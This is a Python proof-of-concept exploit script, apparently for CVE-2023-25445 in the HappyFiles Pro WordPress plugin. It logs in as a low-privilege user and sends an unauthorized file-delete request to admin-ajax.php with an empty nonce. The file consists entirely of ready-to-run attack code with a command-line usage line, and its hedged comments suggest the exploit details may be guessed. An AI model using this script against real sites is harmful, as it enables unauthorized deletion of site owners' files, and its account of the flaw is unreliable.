CVE-2023-25445

# CVE-2023-25445 PoC - HappyFiles Pro Access Control Bypass # Author: Security Researcher # Target: WordPress with HappyFiles Pro <= 1.8.1 import requests import sys from urllib.parse import urlencode def exploit_happyfiles(target_url, username, password, target_file): """ Exploit for Missing Authorization in HappyFiles Pro Allows low-privilege users to perform file operations """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the authorization bypass exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Example: Delete file without proper authorization exploit_data = { 'action': 'happyfiles_delete_file', 'file_id': '1', 'file_path': target_file, 'nonce': '' # Nonce may not be properly validated } print(f"[*] Attempting to delete file: {target_file}") resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print("[+] Request sent successfully!") print(f"[*] Response: {resp.text}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <file_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit_happyfiles(target, user, pwd, file_path)

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